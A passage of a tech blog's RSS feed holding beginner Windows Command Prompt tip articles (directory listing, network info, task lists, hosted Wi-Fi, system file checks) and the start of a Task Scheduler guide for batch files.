<p><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2Fwp-content%2Fuploads%2F2020%2F11%2Fwmic-product-get-name.jpg" rel="noopener" class="local-link"><img decoding="async" loading="lazy" class="aligncenter wp-image-23350 size-full" src="https://anonyviet.com/wp-content/uploads/2020/11/wmic-product-get-name.jpg" alt="wmic product get name" width="766" height="316" srcset="https://anonyviet.com/wp-content/uploads/2020/11/wmic-product-get-name.jpg 766w, https://anonyviet.com/wp-content/uploads/2020/11/wmic-product-get-name-300x124.jpg 300w, https://anonyviet.com/wp-content/uploads/2020/11/wmic-product-get-name-750x309.jpg 750w" sizes="auto, (max-width: 766px) 100vw, 766px" title="16 good commands and tricks with CMD on Windows 18"/></a></p>
<h3 id="ftoc-liet-ke-thu-muc-hien-hanh" class="ftwp-heading">List current directory</h3>
<p>If you want to see how many subdirectories, files, and creation dates are inside the current directory, use the command. <code>dir</code>.</p>
<ul>
<li>To get the directory listing: <code>dir</code></li>
<li>To get the sorted directory list: <strong><code>dir /b | sort</code></strong></li>
<li>To list the sorted list of folders and files with last modified date and time: <strong><code>dir /s | sort</code></strong></li>
<li>To get a sorted list of files with complete file paths: <strong><code>dir /b /s |</code><code>sort</code></strong></li>
</ul>
<h3 id="ftoc-xuat-ket-qua-ra-file" class="ftwp-heading">Export the results to a file</h3>
<p>type <code>&gt; log.txt</code> After each command, you will save the results to the log.txt file.</p>
<p>For example, we have the command <code>dir</code> is the command to list the current directory.  Now we type <code>dir &gt; log.txt</code>.  Then cmd will create a file named log.txt and the content will contain the names of the directories listed by dir.</p>
<p>If you want to list directories with Vietnamese accents, use the following command:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">chcp 65001&#13;
dir /b &gt; log.txt&#13;
</pre>
<p>(/b lists names only)</p>
<h3 id="ftoc-xem-dia-chi-ip-thong-tin-mang" class="ftwp-heading">View IP address, network information</h3>
<ul>
<li>View computer name: <code>hostname</code></li>
<li>View IPs: <code>ipconfig</code></li>
<li>View detailed network information: <code>ipconfg /all</code></li>
<li>View MAC address: <code>getmac</code></li>
</ul>
<h3 id="ftoc-kiem-tra-chat-luong-duong-tren-mang-tim-ip-website" class="ftwp-heading">Check the quality of the internet, find the website IP</h3>
<p>Command <code>ping</code> is the command to check the transparency of the network connection.</p>
<p>To find the IP of a website, type the command <code>ping địa-chỉ-website</code>.  Eg: <code>ping anonyviet.com</code></p>
<p>If no error <strong>request time out</strong> your home network connection to anonyviet.com is quite good.  Index <strong>time</strong> The smaller the number, the faster the connection.</p>
<p><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2Fwp-content%2Fuploads%2F2020%2F11%2Fping-anonyviet.com_.jpg" rel="noopener" class="local-link"><img decoding="async" loading="lazy" class="aligncenter wp-image-23351 size-full" src="https://anonyviet.com/wp-content/uploads/2020/11/ping-anonyviet.com_.jpg" alt="ping command anonyviet.com" width="559" height="147" srcset="https://anonyviet.com/wp-content/uploads/2020/11/ping-anonyviet.com_.jpg 559w, https://anonyviet.com/wp-content/uploads/2020/11/ping-anonyviet.com_-300x79.jpg 300w" sizes="auto, (max-width: 559px) 100vw, 559px" title="16 good commands and tricks with CMD on Windows 19"/></a></p>
<h3 id="ftoc-liet-ke-danh-sach-cac-tien-trinh-dang-chay-tren-windows" class="ftwp-heading">List the running processes on Windows</h3>
<p>This is one of the best commands if you want to get a complete list of tasks running on your machine.  The command will provide a list of all running processes with full details like Task name, session name, session number, memory usage status along with the username that started the task.</p>
<ul>
<li>To get a list of running Tasks:  <strong><code>tasklist</code></strong></li>
<li>To get a detailed list of running tasks: <strong><code>tasklist /v</code></strong></li>
</ul>
<p><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2Fwp-content%2Fuploads%2F2020%2F11%2Ftasklist.jpg" rel="noopener" class="local-link"><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-23352" src="https://anonyviet.com/wp-content/uploads/2020/11/tasklist.jpg" alt="tasklist" width="792" height="280" srcset="https://anonyviet.com/wp-content/uploads/2020/11/tasklist.jpg 792w, https://anonyviet.com/wp-content/uploads/2020/11/tasklist-300x106.jpg 300w, https://anonyviet.com/wp-content/uploads/2020/11/tasklist-768x272.jpg 768w, https://anonyviet.com/wp-content/uploads/2020/11/tasklist-750x265.jpg 750w" sizes="auto, (max-width: 792px) 100vw, 792px" title="16 good commands and tricks with CMD on Windows 20"/></a></p>
<h3 id="ftoc-thuc-hien-nhieu-lenh-cung-luc-tren-mot-dong" class="ftwp-heading">Execute multiple commands at the same time on one line</h3>
<p>We can execute multiple commands in one command line using command separator <strong>&#038;&#038;</strong> and the commands will execute in turn in the order in which they are written.</p>
<p>To execute multiple commands in one line: [ <code>CommandA &amp;&amp; CommandB &amp;&amp; CommandC</code>] .</p>
<p>Eg: <code>Ping anonyviet.com &amp;&amp; Color 03 &amp;&amp; dir</code> this command will ping AnonyViet&#8217;s IP, change the background color and give a list of directories.</p>
</p>
<div class="kk-star-ratings kksr-auto kksr-align-right kksr-valign-bottom" data-payload="{&quot;align&quot;:&quot;right&quot;,&quot;id&quot;:&quot;23344&quot;,&quot;slug&quot;:&quot;default&quot;,&quot;valign&quot;:&quot;bottom&quot;,&quot;ignore&quot;:&quot;&quot;,&quot;reference&quot;:&quot;auto&quot;,&quot;class&quot;:&quot;&quot;,&quot;count&quot;:&quot;100&quot;,&quot;legendonly&quot;:&quot;&quot;,&quot;readonly&quot;:&quot;&quot;,&quot;score&quot;:&quot;5&quot;,&quot;starsonly&quot;:&quot;&quot;,&quot;best&quot;:&quot;5&quot;,&quot;gap&quot;:&quot;5&quot;,&quot;greet&quot;:&quot;\u0110\u00e1nh gi\u00e1 b\u00e0i vi\u1ebft post&quot;,&quot;legend&quot;:&quot;B\u00e0i vi\u1ebft \u0111\u1ea1t: 5\/5 - (100 b\u00ecnh ch\u1ecdn)&quot;,&quot;size&quot;:&quot;24&quot;,&quot;width&quot;:&quot;142.5&quot;,&quot;_legend&quot;:&quot;B\u00e0i vi\u1ebft \u0111\u1ea1t: {score}\/{best} - ({count} {votes})&quot;,&quot;font_factor&quot;:&quot;1.25&quot;}">
<p>            The article achieved: 5/5 &#8211; (100 votes)    </p>
</p></div>
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://en.anonyviet.com/16-good-commands-and-tricks-with-cmd-on-windows/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<media:content url="https://anonyviet.com/wp-content/uploads/2020/11/thu-thuat-cmd-hay.jpg" medium="image"></media:content>
            	</item>
		<item>
		<title>27 interesting tricks on CMD you may not know</title>
		<link>https://en.anonyviet.com/27-interesting-tricks-on-cmd-you-may-not-know/</link>
					<comments>https://en.anonyviet.com/27-interesting-tricks-on-cmd-you-may-not-know/#respond</comments>
		
		<dc:creator><![CDATA[AnonyViet]]></dc:creator>
		<pubDate>Mon, 30 Jan 2023 19:54:41 +0000</pubDate>
				<category><![CDATA[Tips]]></category>
		<category><![CDATA[CMD]]></category>
		<category><![CDATA[interesting]]></category>
		<category><![CDATA[tricks]]></category>
		<guid isPermaLink="false">https://en.anonyviet.com/?p=6957</guid>

					<description><![CDATA[Today, I will join you to learn 27 interesting tricks on CMD that you may not know. For example, how to stop a command or watch Star Wars on the Command Prompt. Windows Command Prompt can seem like a completely foreign world to GUI users. But users who have used Command Prompt will know its [&#8230;]]]></description>
										<content:encoded><![CDATA[<p></p>
<div id="ftwp-postcontent">
<p><strong>Today, I will join you to learn 27 interesting tricks on CMD that you may not know.  For example, how to stop a command or watch Star Wars on the Command Prompt.  Windows Command Prompt can seem like a completely foreign world to GUI users.  But users who have used Command Prompt will know its power and use interesting tricks and hacks.</strong></p>
<div class="code-block code-block-16" style="margin: 8px 0; clear: both;">
<div align="center">
<table class=" aligncenter" style="background-color: #c0c0c0; border-collapse: collapse; width: 59.9985%;">
<tbody>
<tr>
<td style="width: 100%; text-align: center;"><span style="font-size: 12pt;"><strong>Join the channel <span style="color: #0000ff;">Telegram</span> of the <span style="color: #008080;">AnonyViet </span> 👉 <span style="text-decoration: underline;"><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Ft.me%2Fanonyvietchat" class="local-link" rel="noopener">Link</a></span>  👈</strong></span></td>
</tr>
</tbody>
</table>
</div>
</div>
<p>Let&#8217;s start with the fun stuff first!</p>
<h2 id="ftoc-cach-su-dung-cmd-tren-windows-10" class="ftwp-heading">How to use CMD on Windows 10?</h2>
<p><img decoding="async" class="aligncenter wp-image-23795 size-full" src="https://anonyviet.com/wp-content/uploads/2020/12/31.png" alt="27 interesting tricks on CMD you may not know" width="536" height="315" srcset="https://anonyviet.com/wp-content/uploads/2020/12/31.png 536w, https://anonyviet.com/wp-content/uploads/2020/12/31-300x176.png 300w" sizes="(max-width: 536px) 100vw, 536px" title="27 interesting tricks on CMD you may not know"/></p>
<p>You probably think everyone knows how to use Command Prompt, but there are still some people who don&#8217;t know how to open and use Command Prompt.  So if you already know, skip this part, you can activate Command Prompt by typing CMD in Windows Search.  Right click on CMD and select<strong> Run as administrator</strong> let it run with admin rights.</p>
<p>Alternatively, you can also open a dialog box<strong> Run (Windows + R)</strong>> type <strong>cmd</strong> and press enter.  It doesn&#8217;t matter whether you are using Windows 10 or earlier versions, the method is the same.</p>
<h2 id="ftoc-27-dieu-thu-vi-tren-command-prompt" class="ftwp-heading">27 interesting things on Command Prompt</h2>
<h3 id="ftoc-1-xem-lich-su-lenh" class="ftwp-heading">1. View command history</h3>
<p>Using below command you can track your command history.  This will come in handy when you&#8217;re trying to find some commands that you&#8217;ve used in the past but can&#8217;t remember.</p>
<p><code><span style="font-size: 14pt;">doskey /history</span></code></p>
<h3 id="ftoc-2-chay-nhieu-lenh" class="ftwp-heading">2. Run multiple commands</h3>
<p>If you need to run 2 commands at the same time, you can try this way.  You just need to put &#8220;&#038;&#038;&#8221; between each command to save more time.  For example, here&#8217;s how to run ipconfig and paint.</p>
<p><code><span style="font-size: 14pt;">ipconfig &amp;&amp; mspaint</span></code></p>
<h3 id="ftoc-3-su-dung-cac-phim-chuc-nang" class="ftwp-heading">3. Using the Function keys</h3>
<p>One of the very useful Command Prompt tricks is using function keys.  These keys can do a lot of things on CMD.</p>
<p><img decoding="async" loading="lazy" class="size-full wp-image-23796 aligncenter" src="https://anonyviet.com/wp-content/uploads/2020/12/32.jpg" alt="27 interesting tricks on CMD you may not know" width="626" height="431" srcset="https://anonyviet.com/wp-content/uploads/2020/12/32.jpg 626w, https://anonyviet.com/wp-content/uploads/2020/12/32-300x207.jpg 300w" sizes="auto, (max-width: 626px) 100vw, 626px" title="27 interesting tricks on CMD you may not know"/></p>
<h3 id="ftoc-4-xem-danh-sach-driver-pc" class="ftwp-heading">4. View the list of PC drivers</h3>
<p>Using a simple command, you can view all the drivers installed on your computer.  All you need to do is run the driver query command and you will see a list of all the drivers along with their name, type and other information.</p>
<p><code><span style="font-size: 14pt;">driverquery</span></code></p>
<h3 id="ftoc-5-gui-ket-qua-vao-khay-nho-tam" class="ftwp-heading">5. Send the results to the clipboard</h3>
<p>Are you someone who often needs to save the results of a command?  Usually, people use copy and paste.  However, with a simple command, you can send the results of the command to the Windows clipboard.  Here&#8217;s how to send ipconfig information to the clipboard:</p>
<p><code><span style="font-size: 14pt;">i</span><span style="font-size: 14pt;">pconfig | clip</span></code></p>
<h3 id="ftoc-6-huy-bo-lenh" class="ftwp-heading">6. Cancel the order</h3>
<p>This handy trick has the potential to come to your rescue when you run a command and need to stop it right away?  To do that, you just need to press Ctrl + C. It is to stop the command, not to complete the command.</p>
<h3 id="ftoc-7-trang-tri-command-prompt" class="ftwp-heading">7. Decorate Command Prompt</h3>
<p>You can change the color of Windows Command Prompt to make it more eye-catching.  To do this, right-click the top corners of the Command Prompt window and select Properties.  There, find the Colors tab and find options to change the background and text colors.</p>
<h3 id="ftoc-8-tao-diem-phat-song-wi-fi" class="ftwp-heading">8. Create a Wi-Fi Hotspot</h3>
<p>Before opening Command Prompt to execute the necessary commands for this, you need to open Control Panel and find <strong>Change adapter settings</strong> in options <strong>Network and Sharing</strong>.  There, click on the connection you are using and click Properties.  Now look for the tab <strong>sharing</strong> and select “Allow other network users to connect through this computer&#8217;s internet connection.”</p>
<p><img decoding="async" loading="lazy" class="size-full wp-image-23797 aligncenter" src="https://anonyviet.com/wp-content/uploads/2020/12/33.jpg" alt="27 interesting tricks on CMD you may not know" width="272" height="351" title="27 interesting tricks on CMD you may not know yet"/></p>
<p>Now open Command Prompt with admin rights and enter the following command:</p>
<p><code><span style="font-size: 14pt;">netsh wlan set hostednetwork mode=allow ssid=Yourhotspotname key=yourpassword</span></code></p>
<p>Then, enter the following command to start creating a Wi-Fi hotspot:</p>
<p><code><span style="font-size: 14pt;">netsh wlan start hostednetwork</span></code></p>
<p>To stop the access point, simply enter the following command:</p>
<p><span style="font-size: 14pt;"><code>netsh wlan stop hostednetwork</code></span></p>
<h3 id="ftoc-9-quet-cac-tep-he-thong-de-tim-su-co" class="ftwp-heading">9. Scan system files for problems</h3>
<p>The sfc /scannow command will run the system file checker tool to scan Windows system files and look for problems.  If some files are missing or damaged, this command will fix them.</p>
<p><span style="font-size: 14pt;"><code>sfc /scannow</code></span></p>
<h3 id="ftoc-10-bat-dau-su-dung-cac-tep-hang-loat" class="ftwp-heading">10. Start using batch files</h3>
<p>If you want to use command prompt commands more than once and don&#8217;t want to use each command every time, you can create scripts to help you automate the work.  You can learn more about this <a target="_blank" href="https://en.anonyviet.com/next-link/?url=https%3A%2F%2Ffossbytes.com%2Fwhat-is-a-batch-file-in-windows-how-to-create-a-batch-file%2F" rel="noopener external nofollow" class="ext-link" onclick="this.target='_blank';">here</a>.</p>
<h3 id="ftoc-11-khac-phuc-su-co-voi-dns-resolver-cache" class="ftwp-heading">11. Troubleshooting with DNS resolver cache</h3>
<p>You probably know that DNS (Domain Name System) is an extremely important thing that you cannot ignore when connecting to the internet.  To access web pages faster, your computer usually maintains a local DNS resolver cache.  But sometimes, the cache can get corrupted and you can&#8217;t access your favorite websites.</p>
<p>In that case, you can try this command to save time.  You can use the Ipconfig utility to clear the DNS cache.</p>
<p><code><span style="font-size: 14pt;">ipconfig /flushdns</span></code></p>
<p>You can read more tips <strong>Command prompt</strong> and learn how to do it in the article <a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2Fnhung-tro-thu-vi-ban-co-the-lam-tren-cmd-command-prompt%2F" rel="noopener" class="local-link">Some cool tricks you can do on CMD</a>.  Includes the following techniques:</p>
<p>12. Stop command running on CMD<br />13. Command Prompt settings menu<br />14. Shortcuts in Command Prompt<br />15. Enter multiple commands at once<br />16. View running tasks and display network connection information<br />17. List all device drivers on your PC (Driver)<br />18. Delete temporary files in the drive<br />19. Open the virtual keyboard<br />20. Computer shutdown timer<br />21. Create Wifi Hotspot and View Wifi Password<br />22. Command to quickly fix network connection problems<br />23. Quick fix for startup problems<br />24. Quick fix errors on Windows<br />25. Encrypt, Compress or Back Up Files<br />26. Generate reports about your system<br />27. Watch Star Wars Episode 4 ASCII Version</p>
<h2 id="ftoc-thay-the-cmd-powershell-va-windows-terminal" class="ftwp-heading">Replace CMD: Powershell and Windows Terminal</h2>
<p>Over the years, Microsoft has begun to move from the old Command Prompt to the modern Powershell successor.  If you can spot, the places where you might have seen CMD before will show the Powershell option because that&#8217;s the default shell in Windows 10. For example, in the context menu of the Start button.</p>
<p>You can use it because commands for CMD also work on Powershell.</p>
<p>Furthermore, Microsoft has developed a brand new command line experience in the form of a new application called Windows Terminal.  It combines things like Command Prompt, Powershell and <a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2Fcai-dat-windows-subsystem-for-linux-2-windows-10%2F" rel="noopener" class="local-link">Windows Subsystem for Linux</a>.</p>
<p><img decoding="async" loading="lazy" class="size-full wp-image-23798 aligncenter" src="https://anonyviet.com/wp-content/uploads/2020/12/34.jpg" alt="27 interesting tricks on CMD you may not know" width="557" height="315" title="27 interesting tricks on CMD you may not know"/></p>
<p>Unlike CMD and Powershell, Windows Terminal is not pre-loaded on Windows 10 and you can download it from the Microsoft Store.  One thing to note is that Windows Terminal is not available for older versions of Windows.</p>
<div class="kk-star-ratings kksr-auto kksr-align-right kksr-valign-bottom" data-payload="{&quot;align&quot;:&quot;right&quot;,&quot;id&quot;:&quot;23794&quot;,&quot;slug&quot;:&quot;default&quot;,&quot;valign&quot;:&quot;bottom&quot;,&quot;ignore&quot;:&quot;&quot;,&quot;reference&quot;:&quot;auto&quot;,&quot;class&quot;:&quot;&quot;,&quot;count&quot;:&quot;100&quot;,&quot;legendonly&quot;:&quot;&quot;,&quot;readonly&quot;:&quot;&quot;,&quot;score&quot;:&quot;5&quot;,&quot;starsonly&quot;:&quot;&quot;,&quot;best&quot;:&quot;5&quot;,&quot;gap&quot;:&quot;5&quot;,&quot;greet&quot;:&quot;\u0110\u00e1nh gi\u00e1 b\u00e0i vi\u1ebft post&quot;,&quot;legend&quot;:&quot;B\u00e0i vi\u1ebft \u0111\u1ea1t: 5\/5 - (100 b\u00ecnh ch\u1ecdn)&quot;,&quot;size&quot;:&quot;24&quot;,&quot;width&quot;:&quot;142.5&quot;,&quot;_legend&quot;:&quot;B\u00e0i vi\u1ebft \u0111\u1ea1t: {score}\/{best} - ({count} {votes})&quot;,&quot;font_factor&quot;:&quot;1.25&quot;}">
<p>            The article achieved: 5/5 &#8211; (100 votes)    </p>
</p></div>
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://en.anonyviet.com/27-interesting-tricks-on-cmd-you-may-not-know/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<media:content url="https://anonyviet.com/wp-content/uploads/2020/12/cmd-trick-1.jpg" medium="image"></media:content>
            	</item>
		<item>
		<title>How to schedule a Batch file (CMD) on Windows</title>
		<link>https://en.anonyviet.com/how-to-schedule-a-batch-file-cmd-on-windows/</link>
					<comments>https://en.anonyviet.com/how-to-schedule-a-batch-file-cmd-on-windows/#respond</comments>
		
		<dc:creator><![CDATA[AnonyViet]]></dc:creator>
		<pubDate>Mon, 30 Jan 2023 16:44:13 +0000</pubDate>
				<category><![CDATA[Tips]]></category>
		<category><![CDATA[Batch]]></category>
		<category><![CDATA[CMD]]></category>
		<category><![CDATA[file]]></category>
		<category><![CDATA[schedule]]></category>
		<category><![CDATA[Windows]]></category>
		<guid isPermaLink="false">https://en.anonyviet.com/?p=6872</guid>

					<description><![CDATA[Batch files, also known as cmd files, are used to execute CMD commands with a pre-programmed file. If you want Windows to perform a certain task, within a certain time, set a schedule to run the Batch file and set a timer to automatically trigger the file to run automatically. Join the channel Telegram of [&#8230;]]]></description>
										<content:encoded><![CDATA[<p></p>
<div id="ftwp-postcontent">
<p><strong>Batch files, also known as cmd files, are used to execute CMD commands with a pre-programmed file.  If you want Windows to perform a certain task, within a certain time, set a schedule to run the Batch file and set a timer to automatically trigger the file to run automatically.</strong></p>
<div class="code-block code-block-16" style="margin: 8px 0; clear: both;">
<div align="center">
<table class=" aligncenter" style="background-color: #c0c0c0; border-collapse: collapse; width: 59.9985%;">
<tbody>
<tr>
<td style="width: 100%; text-align: center;"><span style="font-size: 12pt;"><strong>Join the channel <span style="color: #0000ff;">Telegram</span> of the <span style="color: #008080;">AnonyViet </span> 👉 <span style="text-decoration: underline;"><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Ft.me%2Fanonyvietchat" class="local-link" rel="noopener">Link</a></span>  👈</strong></span></td>
</tr>
</tbody>
</table>
</div>
</div>
<p><img post-id="6872" fifu-featured="1" decoding="async" class="aligncenter wp-image-24042 size-full" src="https://anonyviet.com/wp-content/uploads/2020/12/86.jpeg" alt="How to schedule a Batch file (CMD) on Windows" title="How to schedule a Batch file (CMD) on Windows" width="510" height="278" srcset="https://anonyviet.com/wp-content/uploads/2020/12/86.jpeg 510w, https://anonyviet.com/wp-content/uploads/2020/12/86-300x164.jpeg 300w" sizes="(max-width: 510px) 100vw, 510px" title="How to schedule a Batch file (CMD) on Windows 22"/></p>
<h2 id="ftoc-dat-lich-chay-file-batch-trong-windows-bang-task-scheduler" class="ftwp-heading">Schedule batch file running in Windows with Task Scheduler</h2>
<p>For example, you want to set a schedule to <a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2Fhuong-dan-code-to-tinh-bang-cmd-phong-cach-4-0%2F" rel="noopener" class="local-link">confess to batch files</a> or activate <a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2Fhuong-dan-tao-virus-gia-mao-bang-cmd-tren-notepad%2F" rel="noopener" class="local-link">virus batch file</a> good to try <a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2F27-thu-thuat-thu-vi-tren-cmd%2F" rel="noopener" class="local-link">other cool tricks on CMD</a>.  Please follow the instructions below:</p>
<p>After creating a batch file that automates a job, you&#8217;ll want it to run automatically at a certain time.  The easiest way to do that is to use the Task Scheduler built into Windows.  This is a tool that automatically runs a pre-scheduled job.</p>
<ol>
<li>Select <strong>Start</strong> menu and enter <strong>scheduler</strong>.  The first result that appears will be Windows Task Scheduler.<img decoding="async" loading="lazy" class="aligncenter wp-image-24043 size-full" src="https://anonyviet.com/wp-content/uploads/2020/12/87.jpg" alt="scheduler" width="510" height="298" srcset="https://anonyviet.com/wp-content/uploads/2020/12/87.jpg 510w, https://anonyviet.com/wp-content/uploads/2020/12/87-300x175.jpg 300w" sizes="auto, (max-width: 510px) 100vw, 510px" title="How to schedule a Batch file (CMD) on Windows 23"/>Task Scheduler will have many pre-scheduled tasks.  Windows and other programs also use scheduled tasks.<img decoding="async" loading="lazy" class="aligncenter wp-image-24044 size-full" src="https://anonyviet.com/wp-content/uploads/2020/12/88.jpg" alt="Task Scheduler will have many pre-scheduled tasks" width="510" height="294" srcset="https://anonyviet.com/wp-content/uploads/2020/12/88.jpg 510w, https://anonyviet.com/wp-content/uploads/2020/12/88-300x173.jpg 300w" sizes="auto, (max-width: 510px) 100vw, 510px" title="How to schedule a Batch file (CMD) on Windows 24"/></li>
<li>Create a new folder for your tasks for easy identification.  Right click on <strong>Task Scheduler Library</strong> and choose <strong>New Folder…</strong> or choose <strong>New Folder</strong> in the table <strong>Actions</strong> on the right side.<img decoding="async" loading="lazy" class="aligncenter wp-image-24045 size-full" src="https://anonyviet.com/wp-content/uploads/2020/12/89.jpg" alt="Task Scheduler Library" width="510" height="258" srcset="https://anonyviet.com/wp-content/uploads/2020/12/89.jpg 510w, https://anonyviet.com/wp-content/uploads/2020/12/89-300x152.jpg 300w" sizes="auto, (max-width: 510px) 100vw, 510px" title="How to schedule a Batch file (CMD) on Windows 25"/></li>
<li>Enter a name for the new folder.  Naming has a little meaning.<img decoding="async" loading="lazy" class="aligncenter wp-image-24046 size-full" src="https://anonyviet.com/wp-content/uploads/2020/12/90.jpg" alt="Enter a name for the new folder" width="268" height="110" title="How to schedule a Batch file (CMD) on Windows 26"/></li>
<li>Right click on the new folder and select <strong>Create Task…</strong> or choose <strong>Create Task…</strong> in the table <strong>Actions</strong>.<img decoding="async" loading="lazy" class="aligncenter wp-image-24047 size-full" src="https://anonyviet.com/wp-content/uploads/2020/12/91.jpg" alt="Create Task" width="510" height="155" srcset="https://anonyviet.com/wp-content/uploads/2020/12/91.jpg 510w, https://anonyviet.com/wp-content/uploads/2020/12/91-300x91.jpg 300w" sizes="auto, (max-width: 510px) 100vw, 510px" title="How to schedule a Batch file (CMD) on Windows 27"/></li>
<li>Windows <strong>Create Task</strong> will open tab <strong>General</strong>.  Enter a meaningful name for the task in <strong>Name</strong>.  In the section <strong>Description,</strong> write the task that this task does.<br />Note the button <strong>Change User or Group</strong>.  It will allow you to run the script under a different user.  If your batch file requires Administrator rights, you should change the user to Administrator.  It will ask you to enter the Administrator&#8217;s password.<img decoding="async" loading="lazy" class="aligncenter wp-image-24048 size-full" src="https://anonyviet.com/wp-content/uploads/2020/12/92.jpg" alt="Change User or Group" width="471" height="356" srcset="https://anonyviet.com/wp-content/uploads/2020/12/92.jpg 471w, https://anonyviet.com/wp-content/uploads/2020/12/92-300x227.jpg 300w" sizes="auto, (max-width: 471px) 100vw, 471px" title="How to schedule a Batch file (CMD) on Windows 28"/>Also, note that the script will only run when the user is logged in (<strong>Run only when the user is logged on</strong>).  You can change this setting to Run whether the user is logged in or not (<strong>Run whether user is logged on or not</strong>) if you want it to run at any time.</li>
<li>Select tab <strong>Triggers </strong>(activated). <strong>Triggers </strong>is what determines when a task runs.  Select <strong>new</strong> to create triggers.<img decoding="async" loading="lazy" class="aligncenter wp-image-24049 size-full" src="https://anonyviet.com/wp-content/uploads/2020/12/93.jpg" alt="Triggers \" width="472" height="188" srcset="https://anonyviet.com/wp-content/uploads/2020/12/93.jpg 472w, https://anonyviet.com/wp-content/uploads/2020/12/93-300x119.jpg 300w" sizes="auto, (max-width: 472px) 100vw, 472px" title="How to schedule a Batch file (CMD) on Windows 29"/></li>
<li>There are many options in the window <strong>New Trigger</strong>.  You can see what those options are.<img decoding="async" loading="lazy" class="aligncenter wp-image-24050 size-full" src="https://anonyviet.com/wp-content/uploads/2020/12/94.jpg" alt="New Trigger" width="438" height="384" srcset="https://anonyviet.com/wp-content/uploads/2020/12/94.jpg 438w, https://anonyviet.com/wp-content/uploads/2020/12/94-300x263.jpg 300w" sizes="auto, (max-width: 438px) 100vw, 438px" title="How to schedule a Batch file (CMD) on Windows 30"/></li>
<li>In the section <strong>Begin the tasks </strong>Includes options:<br />– On a schedule<br />– At log on (At login)<br />– At startup (At startup)<br />– On idle<br />– On an event (When an event occurs)<br />– At task creation/modification (At task creation/modification)<br />– On connection to user session (When connecting to user session)<br />– On disconnect from user session (When disconnecting from user session)<br />– On workstation lock (On locked machine)<br />– On workstation unlock (On unlocked machine)<br /><strong>On a schedule</strong> is the most common way and the one that I will use in this article.</li>
<li>There are also options for scheduling <strong>Settings</strong>.  Options include:<br />– One time (once)<br />– Daily (daily)<br />– Weekly (weekly)<br />– Monthly (monthly)<br />I will choose <strong>Daily</strong> for this example.</li>
<li>In <strong>Advanced settings</strong>, you can customize more parameters about how the task fires.  This action is currently set to <strong>repeat every 5 minutes, indefinitely</strong>.  Note that the box <strong>Enabled </strong>is selected by default.  This is the first place to check when troubleshooting why a scheduled task isn&#8217;t running.  Select <strong>OK</strong> when you&#8217;re done setting up.</li>
<li>Select tab <strong>Actions</strong>then select <strong>new </strong>to indicate what the scheduled task will do.<img decoding="async" loading="lazy" class="aligncenter wp-image-24052 size-full" src="https://anonyviet.com/wp-content/uploads/2020/12/95.jpg" alt="Actions" width="469" height="195" srcset="https://anonyviet.com/wp-content/uploads/2020/12/95.jpg 469w, https://anonyviet.com/wp-content/uploads/2020/12/95-300x125.jpg 300w" sizes="auto, (max-width: 469px) 100vw, 469px" title="How to schedule a Batch file (CMD) on Windows 31"/></li>
<li>In the menu <strong>Action</strong>: you have the following options:<br />– Start a program<br />– Send an email<br />– Display a message.<br />The last two options are not supported anymore.  It&#8217;s best not to use them when you&#8217;re scheduling batch files.  Leave it as default <strong>Start a program</strong>.<img decoding="async" loading="lazy" class="aligncenter wp-image-24053 size-full" src="https://anonyviet.com/wp-content/uploads/2020/12/96.jpg" alt="Start a program" width="338" height="223" srcset="https://anonyviet.com/wp-content/uploads/2020/12/96.jpg 338w, https://anonyviet.com/wp-content/uploads/2020/12/96-300x198.jpg 300w" sizes="auto, (max-width: 338px) 100vw, 338px" title="How to schedule a Batch file (CMD) on Windows 32"/>Enter the full path to the script.  Press <strong>Browse </strong>and select that command file.<br />Items <strong>Add arguments</strong> and <strong>Start in fields </strong>will be empty.  You can use them when moving to more complex scripts and tasks.  You will definitely need these to <a target="_blank" href="https://en.anonyviet.com/next-link/?url=https%3A%2F%2Fhelpdeskgeek.com%2Ffree-tools-review%2Fusing-powershell-for-home-users-a-beginners-guide%2F" rel="noopener external nofollow" class="ext-link" onclick="this.target='_blank';">schedule PowerShell scripts</a>.  Select <strong>OK</strong> to continue.</li>
<li>The task is scheduled.  Select <strong>OK</strong> to close the window and return to the Task Scheduler.  Select the task you just created and test it.  Right click on the task and select <strong>Run </strong>or choose <strong>Run </strong>in the table <strong>Actions.<img decoding="async" loading="lazy" class="aligncenter wp-image-24054 size-full" src="https://anonyviet.com/wp-content/uploads/2020/12/97.jpg" alt="Run" width="510" height="224" srcset="https://anonyviet.com/wp-content/uploads/2020/12/97.jpg 510w, https://anonyviet.com/wp-content/uploads/2020/12/97-300x132.jpg 300w" sizes="auto, (max-width: 510px) 100vw, 510px" title="How to schedule a Batch file (CMD) on Windows 33"/></strong></li>
</ol>
<p>When the quest is over, look at the column  <strong>Last Run</strong> <strong>Result</strong>.  You will see the text <strong>The operation completed successfully</strong>.</p>
<p>If it shows differently, try pressing the F5 button to refresh the screen.  If it still says otherwise, the task you created probably failed.</p>
<p><img decoding="async" loading="lazy" class="aligncenter wp-image-24055 size-full" src="https://anonyviet.com/wp-content/uploads/2020/12/98.jpg" alt="The operation completed successfully" width="510" height="55" srcset="https://anonyviet.com/wp-content/uploads/2020/12/98.jpg 510w, https://anonyviet.com/wp-content/uploads/2020/12/98-300x32.jpg 300w" sizes="auto, (max-width: 510px) 100vw, 510px" title="How to schedule a Batch file (CMD) on Windows 34"/></p>
<h2 id="ftoc-tim-hieu-ve-tab-conditions-va-settings" class="ftwp-heading">Learn about the Conditions and Settings tab?</h2>
<p>There are two tabs that we did not discuss in the tutorial above.  For most tasks, you don&#8217;t need to dig into these tabs.  However, we still have to see what they contain.</p>
